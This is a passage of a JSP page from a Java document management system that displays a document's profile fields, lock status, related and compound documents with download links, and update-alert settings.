      DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)) {

    // Default profile display.
    int totalFieldCount = Integer.parseInt(com.dcivision.framework.SystemParameterFactory.getSystemParameter(com.dcivision.framework.SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_COUNT));

    for (int i = 0; i < totalFieldCount; i++) {%>
    <%DmsDefaultProfileSetting setting = ((DmsDefaultProfileSetting)DMS_DEF_PROFILE.get(i));%>
  <tr>
    <td class="<layout:classLabel mandatory='<%="Y".equals(setting.getMandatoryFlag())%>'/>" width="25%" valign="top"><%=setting.getFieldName()%>:&nbsp;</td>
    <td class="formFieldSmall" width="75%">
    <%
    if (DmsDefaultProfileSetting.FIELD_TYPE_INTEGER.equals(setting.getFieldType())) {%>
    <html:integer property='<%="userDef"+(i+1)%>' textOnly="true"/>
    <%} else if (DmsDefaultProfileSetting.FIELD_TYPE_FLOAT.equals(setting.getFieldType())) {%>
    <html:float property='<%="userDef"+(i+1)%>' textOnly="true"/>
    <%} else if (DmsDefaultProfileSetting.FIELD_TYPE_DATE.equals(setting.getFieldType())) {%>
    <html:datepicker property='<%="userDef"+(i+1)%>' textOnly="true"/>
    <%} else if (DmsDefaultProfileSetting.FIELD_TYPE_STRING.equals(setting.getFieldType())) {%>
    <html:text property='<%="userDef"+(i+1)%>' textOnly="true"/>
    <%} else if (DmsDefaultProfileSetting.FIELD_TYPE_SELECT_DATABASE.equals(setting.getFieldType()) || DmsDefaultProfileSetting.FIELD_TYPE_SELECT_HARDCODE.equals(setting.getFieldType())) {%>
      <%String[][] tmpAry = new com.dcivision.dms.core.DocumentOperationManager(sessionContainer, (java.sql.Connection)request.getAttribute(GlobalConstant.DB_KEY)).getOptionStringArray(setting);%>
    <html:select property='<%="userDef"+(i+1)%>' textOnly="true">
      <html:options stringArray='<%=tmpAry%>'/>
    </html:select>
    <%} else {%>

    <%}%>
    </td>
  </tr>
  <%}
  }%>
  <!-- Common Item End -->

   <!-- UDF for Document -->
  <% if (!Utility.isEmpty(udfDetailList))  {%>
  <tr>
    <td width="25%" valign='top' class="formLabelSmall"><bean:message key='dms.label.profile_name'/>:&nbsp;</td>
    <td width="75%" class="formFieldSmall"><%=maintDmsDocumentForm.getUserDefinedType()%></td>
  </tr>
  <%
        SysUserDefinedIndexDetail udfDetail = null;
        String classType = "dataLabel";
        for ( int i=0; i< udfDetailList.size(); i++) {
          udfDetail = (SysUserDefinedIndexDetail) udfDetailList.get(i);

          String fieldValue = "";
          Timestamp realDateValue = null;
          for (int j=0; j < docDetailList.size(); j++) {
            if (udfDetail.getID().equals(((DmsDocumentDetail)docDetailList.get(j)).getUserDefinedFieldDetailID())){
              if (SysUserDefinedIndexDetail.DATE_FIELD.equals(udfDetail.getFieldType())) {
                fieldValue=TextUtility.formatTimestampToDate(((DmsDocumentDetail) docDetailList.get(j)).getDateValue());
                realDateValue=((DmsDocumentDetail) docDetailList.get(j)).getDateValue();
              } else if (SysUserDefinedIndexDetail.NUMBER_FIELD.equals(udfDetail.getFieldType())) {
                if (((DmsDocumentDetail)docDetailList.get(j)).getNumericValue() !=null ) {
                  fieldValue = ((DmsDocumentDetail)docDetailList.get(j)).getNumericValue().toString();
                }
              } else {
                fieldValue = ((DmsDocumentDetail)docDetailList.get(j)).getFieldValue();
              }
        //joan.xiong add code for bug EIP-1346 by 2007/01/08
        if(udfDetail.getID().toString().equals("-1")){
          fieldValue = TextUtility.getDateTimeFormat().format(maintDmsDocumentForm.parseTimestamp(fieldValue));
        }//joan.xiond add code end
              break;
            }
          }
          fieldValue = TextUtility.htmlEncode(fieldValue);%>

  <tr>
    <input type="hidden" name="udfDetailID_<%= udfDetail.getID() %>">
    <input type="hidden" name="udfDetail_FieldType_<%= udfDetail.getFieldType() %>">
    <td width="25%" valign='top' class="formLabelSmall"><%=udfDetail.getFieldName()%>:&nbsp;</td>
    <td class="formFieldSmall" width='75%'><%=fieldValue%></td>
  </tr>
  <%}%>
  <%}%>
  <%if(sCurFunctionCode.equals(SystemFunctionConstant.DMS_PUBLIC_FOLDER)){%>
  <tr>
    <td width="25%" class="formLabelSmall"><bean:message key="dms.columnheader.item_status"/>:&nbsp;</td>
    <td width="75%" class="formFieldSmall">
    <%if (!DmsVersion.ARCHIVED_STATUS.equals(docItemStatus)) { %>
      <%if (DmsDocument.DOCUMENT_TYPE.equals(documentType)) { %>
        <%if (docItemStatus.equals(DmsVersion.EXCLUSIVE_LOCK)) {
          String checkoutUser = UserInfoFactory.getUserFullName(checkoutPersonID);
%>
        <a href="javascript://" onClick="return OpCheckin('<%=maintDmsDocumentForm.getID()%>', '<%=maintDmsDocumentForm.getParentID()%>', '<%=maintDmsDocumentForm.getRootID()%>', '<%=sCurFunctionCode%>', <%=checkoutPersonID%>, <%=sessionContainer.getUserRecordID()%>, '<%=GlobalConstant.NAV_MODE_PREVIEW%>');" onMouseOver="return overlib('<table border=0 cellpadding=0 cellspacing=0><tr><td><img src=\'<html:img src="IconDMSLock.gif"  pathOnly="true" align="absmiddle"/>\'></td><td><nobr>&nbsp;<%=checkoutUser%></nobr></td></tr></table>', WIDTH, 120, BGCOLOR, '#990000', FGCOLOR, '#FFEEFF', LEFT);" onmouseout="return nd();"><html:img src='IconDMSLock.gif'  align="absmiddle"/></a>
        <%} else if (docItemStatus.equals(DmsVersion.ARCHIVED_STATUS)) {%>
        <html:img src='IconDMSUnlock.gif'  align="absmiddle"/>
        <%} else {%>
            <%if (permission.indexOf("T")>=0){%>
               <%if (GlobalConstant.RECORD_PENDING.equals(recordStatus)) { %>
                 <html:img src='IconDMSUnlock.gif'  align="absmiddle"/></a>
         <%}else{%>
            <%if ("true".equals(fromEmail)) { %>
                 <html:img src='IconDMSUnlock.gif'  align="absmiddle"/></a>
            <%} else {%>
              <%if ("true".equals(fromEmail)) { %>
                 <html:img src='IconDMSUnlock.gif'  align="absmiddle"/></a>
              <%} else {%>
                 <a href="javascript://" onClick="return OpCheckout('<%=maintDmsDocumentForm.getID()%>', '<%=maintDmsDocumentForm.getParentID()%>', '<%=maintDmsDocumentForm.getRootID()%>', '<%=sCurFunctionCode%>', '<%=GlobalConstant.NAV_MODE_PREVIEW%>');"><html:img src='IconDMSUnlock.gif'  align="absmiddle"/></a>
              <% } %>
            <% } %>
         <%}%>
            <%}else{%>
            <html:img src='IconDMSUnlock.gif'  align="absmiddle"/>
            <%}%>
        <%}%>
      <%} else {%>
        <%=GlobalConstant.EMPTY_FIELD%>
      <%}%>
    <%} else {%>
        <%=GlobalConstant.EMPTY_FIELD%>
    <%}%>
    </td>
  </tr>
  <%}%>
  <%if (DmsDocument.DOCUMENT_TYPE.equals(documentType)) { %>
  <tr>
    <td width="25%" class="formLabelSmall"><bean:message key="dms.label.number_of_versions"/>:&nbsp;</td>
    <td width="75%" class="formFieldSmall"><%=maintDmsDocumentForm.getNoOfVersion()%></td>
  </tr>
  <tr>
    <td width="25%" class="formLabelSmall"><bean:message key="dms.columnheader.item_size"/>:&nbsp;</td>
  <td width="75%" class="formFieldSmall">
      <%  int itemSize = ((DmsDocument) dmsDocument).getItemSize().intValue();
          out.println(TextUtility.formatFileSize(itemSize));
      %>
    </td>
  </tr>
  <%}else if (DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)) {%>
    <td width="25%" class="formLabelSmall"><bean:message key="dms.columnheader.item_size"/>:&nbsp;</td>
    <td width="75%" class="formFieldSmall">
      <%  int itemSize = ((DmsDocument) dmsDocument).getItemSize().intValue();
          out.println(TextUtility.formatFileSize(itemSize));
      %>
    </td>
  <%}%>
  <tr>
    <td colspan="2"><html:img src='LayoutSpacer.gif'  height='8'/></td>
  </tr>
</table>

<!--Document relationship begin-->
<% if(!Utility.isEmpty(DocRelationList) || !Utility.isEmpty(IndirectRelationDocumentList)){
     MtmDocumentRelationship  relationshipObj = new MtmDocumentRelationship();

%>
  <table cellpadding="0" cellspacing="0" border="0" width="100%">
    <tr>
      <td class="sectionTitle" valign="bottom" nowrap><bean:message key="dms.label.related_doc_list"/></td>
      <td align="right">
      </td>
    </tr>
    <tr>
      <td class="blackLine" colspan="2" width='1'><html:img src='Spacer.gif'  width='1' height='1'/></td>
    </tr>
  </table>

  <table cellpadding="3" cellspacing="1" border="0" width="100%"><tr>
  <!-- Table Column Header Begin -->
  <td class="formLabelSmall"><input type="checkbox" name="allCheck" onClick="return clickAll(maintDmsDocumentForm);" ></td>
  <td class="formLabelSmall">&nbsp;</td>
  <td class="formLabelSmall"><bean:message key="dms.label.name_D"/></td>
  <td class="formLabelSmall"><bean:message key="dms.columnheader.relationshipType"/></td>
  <td class="formLabelSmall"><bean:message key="dms.columnheader.related_doc_name"/></td>
  <td class="formLabelSmall"><bean:message key="dms.columnheader.location"/></td>
  <td class="formLabelSmall"><bean:message key="common.label.creator"/></td>
  <!--Table Column Header End -->
  <!--<layout:columnHeader form="maintDmsDocumentForm"  labelMap="<%=LABEL_MAP%>" sortAttribute="" sortOrder="ASC" />-->
  </tr>
  <%
    for(int j=0;j<DocRelationList.size();j++) {
      relationshipObj = (MtmDocumentRelationship)DocRelationList.get(j);
      DmsDocument relatedDocument = docRetrievalManager.getDocument(relationshipObj.getRelatedDocumentID());
      String relatedPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, relatedDocument.getID());

      //Add By Jim Zhou					2006/10/20			EIP-336
      if (isInvitation) {
        //add "R" right permission
        if (relatedPermission==null) relatedPermission = "";
        int idx = 0;
        if ((idx = relatedPermission.indexOf("r"))!=-1) {
          relatedPermission = relatedPermission.substring(0, idx) + "R"+ relatedPermission.substring(idx+1);
        }else if ((idx = relatedPermission.indexOf("R"))==-1) {
          relatedPermission = "R" + relatedPermission;
        }else {
          //do nothing
        }
      }
      //Add End

      DmsDocument relatedRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(relatedDocument.getRootID());
      String relatedExt = TextUtility.getExtension(relatedDocument.getDocumentName());
      String reItemStatus = relatedDocument.getItemStatus();
      Integer checkoutUserID = new Integer("0");
      if (DmsVersion.EXCLUSIVE_LOCK.equals(reItemStatus)) {
        checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(relatedDocument.getCheckoutID());
        checkoutUserID = checkoutHistory.getCheckoutPersonID();
      }
    DmsRoot relatedDmsRoot=(DmsRoot)docRetrievalManager.getDmsRootByDocumentID(relatedDocument.getID());
    %>

  <tr id="tr<%=((AbstractBaseObject)relatedDocument).getID()%>">
  <script language="JavaScript">
    <!--
  relatedDocIDArray[relatedDocIDArray.length]="<%=((AbstractBaseObject)relatedDocument).getID()%>";
  -->
  </script>
  <%
  if ((relatedPermission != null && relatedPermission.indexOf("R") < 0)) {

      %>
      <script language="JavaScript">
      <!--
      notAllowRelatedDownLoadIDAry[notAllowRelatedDownLoadIDAry.length] = "<%=((AbstractBaseObject)relatedDocument).getID()%>";
      //-->
      </script>
    <%}%>

      <%if(!DmsDocument.PAPER_DOC_TYPE.equals(dmsDocument.getDocumentType())){%><td>
        <%if(!DmsDocument.DOCUMENT_LINK.equals(relatedDocument.getDocumentType()) && !DmsVersion.ARCHIVED_STATUS.equals(relatedDocument.getItemStatus())){ //Update By Jim.Zhou		2006/08/10	Bug	#5992 %>
       <input type="checkbox" name="basicSelectedID_<%=j%>" value="<%=((AbstractBaseObject)relatedDocument).getID()%> " >
        <%}else{%>
    <input type="checkbox" name="basicSelectedID_<%=j%>" value="" disabled="true">
    <%}%></td>
    <td>
      <a onMouseOver="return overlib('<bean:message key='dms.message.force_download'/>')" onMouseOut="return nd()" href="<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<%=((AbstractBaseObject)relatedDocument).getID()%>&isDownload=Y&version=TOP&ext=.<%=relatedExt%>"><html:img src='IconDMSOpDownload.gif'  align='absmiddle'/></a>
      <html:img src='LayoutSpacer.gif'  align='absmiddle' width='3'/>
      <a onMouseOver="return overlib('<bean:message key='dms.message.open_directly'/>')" onMouseOut="return nd()" href="<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<%=((AbstractBaseObject)relatedDocument).getID()%>&version=TOP&ext=.<%=relatedExt%>" target="_blank"><html:img src='IconDMSOpOpen.gif'  align='absmiddle'/></a>
     </td>
    <%}else{%><td>
      <input type="checkbox" name="basicSelectedID_<%=j%>" value="" disabled="true">
    </td><td>
        <html:img src='IconDMSOpDownloadDisable.gif'  align='absmiddle'/>
        <html:img src='IconDMSOpOpenDisable.gif'  align='absmiddle'/>
    </td>
      <%}%>
    <td>
    <dms:documentInfo docObject='<%=(DmsDocument)maintDmsDocumentForm.getFormData()%>' recordStatus='<%=maintDmsDocumentForm.getRecordStatus()%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>' isOverLib='true'/>
    </td>
    <td nowrap>
      <html:img src='IconDMSRelationshipActive.gif'  align='absmiddle' border='0' alt='<%=((MtmDocumentRelationship)relationshipObj).getDescription()%>'/>
       -
      <html:select property="relationshipType" value="<%=((MtmDocumentRelationship)relationshipObj).getRelationshipType()%>" textOnly='true'>
          <html:options dbListName='dmsDocumentRelationshipList'/>
      </html:select>
    </td>
   <td>
     <%if(false && "true".equals(fromEmail)){%>
      <% if (!DmsVersion.ARCHIVED_STATUS.equals(reItemStatus)&&isDisplay) { %>
        <a href="" onClick="return overlib(FUNCTION, 'getMenuText(\'<%=TextUtility.escapeJSString(((DmsDocument)dmsDocument).getDocumentName().replaceAll("\'","&acute;"))%>\', \'<%=relatedDocument.getDocumentType()%>\',  \'<%=relatedDocument.getID()%>\', \'<%=relatedDocument.getParentID()%>\', \'<%=relatedDocument.getRootID()%>\', \'<bean:write name='listLoopCnt'/>\', \'<%=docValidateManager.checkExpireDocumentOwner((DmsDocument) relatedDocument)%>\', \'<%=checkoutUserID%>\', \'<%=sessionContainer.getUserRecordID()%>\',\'<%=relatedPermission%>\',\'<%=relatedDocument.getHasRelationship()%>\',\'<%=directURL%>\',\'<%=dmsRoot.getRootType()%>\',null,\'<%=UpdateAlertSystemLogIDInteger%>\')', FULLHTML, TEXTSIZE, 2, WIDTH, 120, OFFSETX, 0, OFFSETY, 0, CENTER, STICKY);"><html:img src='IconTreeSetupOption.gif' common='true' align='absmiddle'/></a>
      <% } else { %>
        <html:img src='IconTreeSetupOptionDisable.gif'  align='absmiddle'/>
      <% } %>
     <%}%>&nbsp;
   <nobr><dms:documentInfo docObject='<%=relatedDocument%>' recordStatus='<%=relatedDocument.getRecordStatus()%>' permission='<%=relatedPermission%>' rootDocument='<%=relatedRoot%>' indexFlag="RelatedDocIndexFlag" popupFlag="true"/></nobr>
  </td>
  <td>
    <dms:locationPath parentID="<%=((DmsDocument)relatedDocument).getParentID()%>" rootID="<%=((DmsDocument)relatedDocument).getRootID()%>" permission='<%=relatedPermission%>' rootDocument='<%=relatedRoot%>' indexFlag='RelatedDocIndexFlag'  showAllPath='false'/>
  </td>
    <td class="bodyVerySmall"><%=((DmsDocument)relatedDocument).getCreatorName()%></td>
  </tr>
  <%}%>
  <%if(!Utility.isEmpty(IndirectRelationDocumentList) && !Utility.isEmpty(DocRelationList)){%>
  <tr>
    <td colspan="6" height="20"></td>
  </tr>
  <%}%>
  <%for(int j=0;j<IndirectRelationDocumentList.size();j++){
      MtmDocumentRelationship indirectRelationshipObj = (MtmDocumentRelationship)IndirectRelationDocumentList.get(j);
      DmsDocument indirectRelatedDocument = docRetrievalManager.getDocument(indirectRelationshipObj.getRelatedDocumentID());
      String indirectRelatedPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, indirectRelatedDocument.getID());

      //Add By Jim Zhou					2006/10/20			EIP-336
      if (isInvitation) {
        //add "R" right permission
        if (indirectRelatedPermission==null) indirectRelatedPermission = "";
        int idx = 0;
        if ((idx = indirectRelatedPermission.indexOf("r"))!=-1) {
          indirectRelatedPermission = indirectRelatedPermission.substring(0, idx) + "R"+ indirectRelatedPermission.substring(idx+1);
        }else if ((idx = indirectRelatedPermission.indexOf("R"))==-1) {
          indirectRelatedPermission = "R" + indirectRelatedPermission;
        }else {
          //do nothing
        }
      }
      //Add End

      DmsDocument indirectRelatedRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(indirectRelatedDocument.getRootID());
      String inItemStatus =((DmsDocument)indirectRelatedDocument).getItemStatus();
      Integer inCheckoutUserID = new Integer("0");
      if (DmsVersion.EXCLUSIVE_LOCK.equals(inItemStatus)) {
        checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(indirectRelatedDocument.getCheckoutID());
        inCheckoutUserID = checkoutHistory.getCheckoutPersonID();
      }
    DmsRoot indirectRelationDmsRoot=(DmsRoot)docRetrievalManager.getDmsRootByDocumentID(indirectRelatedDocument.getID());
  %>
  <script language="JavaScript"> indirectRelationDocIDArray[indirectRelationDocIDArray.length]="<%=((AbstractBaseObject)indirectRelatedDocument).getID()%>";
  </script>
  <%if ((indirectRelatedPermission != null && indirectRelatedPermission.indexOf("R") < 0)) {
      %>
      <script language="JavaScript">
      <!--
      notAllowIndirectRelationDownLoadIDAry[notAllowIndirectRelationDownLoadIDAry.length] = "<%=((AbstractBaseObject)indirectRelatedDocument).getID()%>";
      //-->
      </script>
    <%}%>
  <tr id="tr<%=((AbstractBaseObject)indirectRelatedDocument).getID()%>">

        <%if(!DmsDocument.PAPER_DOC_TYPE.equals(((DmsDocument)indirectRelatedDocument).getDocumentType())){%>
    <td>
    <%if(!DmsDocument.DOCUMENT_LINK.equals(indirectRelatedDocument.getDocumentType()) && !DmsVersion.ARCHIVED_STATUS.equals(indirectRelatedDocument.getItemStatus())){  //Update By Jim.Zhou		2006/08/10	Bug	#5992%>
       <input type="checkbox" name="basicSelectedID<%=j%>" value="<%=((AbstractBaseObject)indirectRelatedDocument).getID()%> " >
        <%}else{%>
    <input type="checkbox" name="basicSelectedID<%=j%>" value="" disabled="true">
    <%}%>
    </td><td>
        <a onMouseOver="return overlib('<bean:message key='dms.message.force_download'/>')" onMouseOut="return nd()" href="<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<%=((AbstractBaseObject)indirectRelatedDocument).getID()%>&isDownload=Y&version=TOP"><html:img src='IconDMSOpDownload.gif'  align='absmiddle'/></a>
        <html:img src='LayoutSpacer.gif'  align='absmiddle' width='3'/>
        <a onMouseOver="return overlib('<bean:message key='dms.message.open_directly'/>')" onMouseOut="return nd()" href="<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<%=((AbstractBaseObject)indirectRelatedDocument).getID()%>&version=TOP" target="_blank"><html:img src='IconDMSOpOpen.gif'  align='absmiddle'/></a></td>
        <%}else{%>
    <td>
          <input type="checkbox" name="basicSelectedID<%=j%>" value="" disabled="true">
    </td><td>
      <html:img src='IconDMSOpDownloadDisable.gif'  align='absmiddle'/>
          <html:img src='LayoutSpacer.gif'  align='absmiddle' width='3'/>
          <html:img src='IconDMSOpOpenDisable.gif'  align='absmiddle'/>
    </td>
        <%}%>

    <td>
     <%if(false && "true".equals(fromEmail)){%>
      <% if (!DmsVersion.ARCHIVED_STATUS.equals(inItemStatus)&&isDisplay) { %>
        <a href="" onClick="return overlib(FUNCTION, 'getMenuText(\'<%=TextUtility.escapeJSString(((DmsDocument)dmsDocument).getDocumentName().replaceAll("\'","&acute;"))%>\', \'<%=indirectRelatedDocument.getDocumentType()%>\',  \'<%=indirectRelatedDocument.getID()%>\', \'<%=indirectRelatedDocument.getParentID()%>\', \'<%=indirectRelatedDocument.getRootID()%>\', \'<bean:write name='listLoopCnt'/>\', \'<%=docValidateManager.checkExpireDocumentOwner((DmsDocument) indirectRelatedDocument)%>\', \'<%=inCheckoutUserID%>\', \'<%=sessionContainer.getUserRecordID()%>\',\'<%=indirectRelatedPermission%>\',\'<%=indirectRelatedDocument.getHasRelationship()%>\',\'<%=directURL%>\',\'<%=dmsRoot.getRootType()%>\',null,\'<%=UpdateAlertSystemLogIDInteger%>\')', FULLHTML, TEXTSIZE, 2, WIDTH, 120, OFFSETX, 0, OFFSETY, 0, CENTER, STICKY);"><html:img src='IconTreeSetupOption.gif' common='true' align='absmiddle'/></a>
      <% } else { %>
        <html:img src='IconTreeSetupOptionDisable.gif'  align='absmiddle'/>
      <% } %>
     <%}%>&nbsp;
    <nobr><dms:documentInfo docObject='<%=indirectRelatedDocument%>' recordStatus='<%=indirectRelatedDocument.getRecordStatus()%>' permission='<%=indirectRelatedPermission%>' rootDocument='<%=indirectRelatedRoot%>' indexFlag="RelatedDocIndexFlag" popupFlag="true"/></nobr></td>
    <td  nowrap>
      <html:img src='IconDMSRelationshipPassive.gif'  align='absmiddle' border='0' alt='<%=((MtmDocumentRelationship)indirectRelationshipObj).getDescription()%>'/>
       -
      <html:select property="relationshipType" value="<%=((MtmDocumentRelationship)indirectRelationshipObj).getRelationshipType()%>" textOnly='true'>
          <html:options dbListName='dmsDocumentRelationshipList'/>
      </html:select>
    </td>
  <td>
     <dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' recordStatus='<%=maintDmsDocumentForm.getRecordStatus()%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>' isOverLib='true'/></nobr>
  </td>
  <td>
    <dms:locationPath parentID="<%=((DmsDocument)indirectRelatedDocument).getParentID()%>" rootID="<%=((DmsDocument)indirectRelatedDocument).getRootID()%>" permission='<%=indirectRelatedPermission%>' rootDocument='<%=indirectRelatedRoot%>' indexFlag='RelatedDocIndexFlag'  showAllPath='false'/>
  </td>

    <td class="bodyVerySmall"><%=((DmsDocument)indirectRelatedDocument).getCreatorName()%></td>
  </tr>
  <%}%>

  </table>
<table cellpadding="3" cellspacing="1" border="0" width="100%"><tr>
  <%if(!Utility.isEmpty(DocRelationList)){%>
   <td>
     <html:standardButton label="dms.label.download_related_document" onClick="return DocRelationDownload(maintDmsDocumentForm)"/>
   </td>
   <%}else if(!Utility.isEmpty(IndirectRelationDocumentList)){%>
   <td>
     <html:standardButton label="dms.label.download_related_document" onClick="return IndirectRelationDocumentDownload(maintDmsDocumentForm)"/>
   </td>
   <%}%>
   <tr>
 <td colspan="2"><html:img src='LayoutSpacer.gif'  height='8'/></td></tr>
  </table>

<%
   } //end if
%>
<!--Document relationship end-->

<!--Compound Document begin -->
<% if (DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)||DmsDocument.PAPER_DOC_TYPE.equals(documentType)) {
      DmsDocument childDocument = new DmsDocument();
%>
  <table cellpadding="0" cellspacing="0" border="0" width="100%">
    <tr>
      <td class="sectionTitle" valign="bottom" nowrap><bean:message key="dms.label.included_document_list"/></td>
      <td align="right">
      </td>
    </tr>
    <tr>
      <td class="blackLine" colspan="2" width="1"><html:img src='Spacer.gif'  width='1' height='1'/></td></tr>
  </table>

  <table cellpadding="3" cellspacing="1" border="0" width="100%"><tr>
    <!-- Table Column Header Begin -->
    <td class="formLabelSmall">&nbsp;</td>
    <td  class="formLabelSmall"><bean:message key="dms.label.name_D"/></td>
    <td  class="formLabelSmall"><bean:message key="dms.columnheader.item_size"/></td>
    <td  class="formLabelSmall"><bean:message key="common.columnheader.update_date"/></td>
    <td  class="formLabelSmall"><bean:message key="common.columnheader.updater"/></td>
    <td  class="formLabelSmall"><bean:message key= "dms.columnheader.item_status"/></td>
    <!-- Table Column Header End -->
    </tr>
    <%for (int k=0;k < CompoundDocList.size(); k++) {
        childDocument = (DmsDocument)CompoundDocList.get(k);
        String childPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, childDocument.getID());

        //Add By Jim Zhou					2006/10/20			EIP-336
        if (isInvitation) {
          //add "R" right permission
          if (childPermission==null) childPermission = "";
          int idx = 0;
          if ((idx = childPermission.indexOf("r"))!=-1) {
            childPermission = childPermission.substring(0, idx) + "R"+ childPermission.substring(idx+1);
          }else if ((idx = childPermission.indexOf("R"))==-1) {
            childPermission = "R" + childPermission;
          }else {
            //do nothing
          }
        }
        //Add End

        DmsDocument childRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(childDocument.getRootID());
        String childDocItemStatus = ((DmsDocument) childDocument).getItemStatus();
        Integer childCheckoutUserID = new Integer("0");
        if (DmsVersion.EXCLUSIVE_LOCK.equals(childDocItemStatus)) {
          checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(childDocument.getCheckoutID());
          childCheckoutUserID = checkoutHistory.getCheckoutPersonID();
        }
    %>
    <tr id="tr<%=((AbstractBaseObject)childDocument).getID()%>">
      <td width="32">
        <nobr>
        <%if(!DmsVersion.ARCHIVED_STATUS.equals(dmsDocument.getItemStatus())){%>
        <a onMouseOver="return overlib('<bean:message key='dms.message.force_download'/>')" onMouseOut="return nd()" href="<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<%=((AbstractBaseObject)childDocument).getID()%>&isDownload=Y&version=TOP"><html:img src='IconDMSOpDownload.gif'  align='absmiddle'/></a>
        <html:img src='LayoutSpacer.gif'  align='absmiddle' width='3'/>
        <a onMouseOver="return overlib('<bean:message key='dms.message.open_directly'/>')" onMouseOut="return nd()" href="<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<%=((AbstractBaseObject)childDocument).getID()%>&version=TOP" target="_blank"><html:img src='IconDMSOpOpen.gif'  align='absmiddle'/></a>
        <%}else{%>
        <html:img src='IconDMSOpDownloadDisable.gif'  align='absmiddle'/>
        <html:img src='LayoutSpacer.gif'  align='absmiddle' width='3'/>
        <html:img src='IconDMSOpOpenDisable.gif'  align='absmiddle'/>
        <%}%>
        </nobr>
      </td>
      <td>
     <%if(false && "true".equals(fromEmail)){%>
      <% if (!DmsVersion.ARCHIVED_STATUS.equals(childDocItemStatus)&&isDisplay) { %>
        <a href="" onClick="return overlib(FUNCTION, 'getMenuText(\'<%=TextUtility.escapeJSString(((DmsDocument)dmsDocument).getDocumentName().replaceAll("\'","&acute;"))%>\', \'<%=((DmsDocument)childDocument).getDocumentType()%>\',  \'<%=((DmsDocument)childDocument).getID()%>\', \'<%=((DmsDocument)childDocument).getParentID()%>\', \'<%=((DmsDocument)childDocument).getRootID()%>\', \'<bean:write name='listLoopCnt'/>\', \'<%=docValidateManager.checkExpireDocumentOwner((DmsDocument) childDocument)%>\', \'<%=childCheckoutUserID%>\', \'<%=sessionContainer.getUserRecordID()%>\',\'<%=childPermission%>\',\'<%=((DmsDocument)childDocument).getHasRelationship()%>\',\'<%=directURL%>\',\'<%=dmsRoot.getRootType()%>\',null,\'<%=UpdateAlertSystemLogIDInteger%>\')', FULLHTML, TEXTSIZE, 2, WIDTH, 120, OFFSETX, 0, OFFSETY, 0, CENTER, STICKY);"><html:img src='IconTreeSetupOption.gif' common='true' align='absmiddle'/></a>
      <% } else { %>
        <html:img src='IconTreeSetupOptionDisable.gif'  align='absmiddle'/>
      <% } %>
     <%}%>&nbsp;
          <nobr><dms:documentInfo docObject='<%=(DmsDocument)childDocument%>' permission='<%=childPermission%>' rootDocument='<%=childRoot%>'  indexFlag="ChildDocIndexFlag"/></nobr></td>
      <td align="center" nowrap>
      <%if (DmsDocument.DOCUMENT_TYPE.equals(((DmsDocument) childDocument).getDocumentType())) {
          int itemSize = ((DmsDocument) childDocument).getItemSize().intValue();
          out.println(TextUtility.formatFileSize(itemSize));
        } else {%>
          <%=GlobalConstant.EMPTY_FIELD%>
        <%}%>
    </td>
      <%SimpleDateFormat sdf = new SimpleDateFormat(TextUtility.getDateTimeFormat().toPattern());

      %>
      <td class="bodyVerySmall" nowrap><%=sdf.format(childDocument.getUpdateDate())%></td>
      <td class="bodyVerySmall"><%=((DmsDocument) childDocument).getUpdaterName()%></td>


      <td align="center" class="bodyVerySmall" nowrap>
    <%if (!DmsVersion.ARCHIVED_STATUS.equals(childDocItemStatus)) { %>
      <%if (DmsDocument.DOCUMENT_TYPE.equals(((DmsDocument) childDocument).getDocumentType())) { %>
        <%if (childDocItemStatus.equals(DmsVersion.EXCLUSIVE_LOCK)) {
            String checkoutUser = UserInfoFactory.getUserFullName(checkoutPersonID); %>
            <html:img src="IconDMSLock.gif"   align="absmiddle"/>
        <%} else if (childDocItemStatus.equals(DmsVersion.ARCHIVED_STATUS)) {%>
            <html:img src='IconDMSUnlock.gif'  align="absmiddle"/>
        <%} else {%>
            <%if (permission.indexOf("T")>=0){%>
            <html:img src='IconDMSUnlock.gif'  align="absmiddle"/>
            <%}else{%>
            <html:img src='IconDMSUnlock.gif'  align="absmiddle"/>
            <%}%>
        <%}%>
      <%} else {%>
        <%=GlobalConstant.EMPTY_FIELD%>
      <%}%>
    <%} else {%>

    <%}%>
    </td>


      </tr>
    <%}//end for%>
  <tr>
    <td colspan="3"><html:img src='LayoutSpacer.gif'  height='8'/></td>
  </tr>

<%} //end if%>
<!--Compound Document end -->
<!-- Alert info display -->
<table cellpadding="0" cellspacing="0" border="0" width="100%">
  <tr>
    <td><layout:sectionHeader name='<%="dms.label.update_alert_A"%>' mandatory='false'/></td>
  </tr>
</table>
<table cellpadding="0" cellspacing="2" border="0" width="100%">
  <tr>
    <td width="25%" class="formLabelSmall"><bean:message key="dms.label.notification_when"/>:&nbsp;</td>
    <td width="75%" class="formFieldSmall">
    <% String actionTypeAlert = maintDmsDocumentForm.getActionTypeA();
       if (!Utility.isEmpty(actionTypeAlert)){%>
        <% if (actionTypeAlert.indexOf(UpdateAlert.CREATE_ACTION) >=0) {%>
          <bean:message key="dms.label.notification_create"/>;&nbsp;
        <%}%>
        <% if (actionTypeAlert.indexOf(UpdateAlert.UPDATE_ACTION) >=0) {%>
          <bean:message key="dms.label.notification_update"/>;&nbsp;
        <%}%>
        <% if (actionTypeAlert.indexOf(UpdateAlert.VIEW_ACTION) >=0) {%>
           <bean:message key="dms.label.notification_view"/>;&nbsp;
        <%}%>
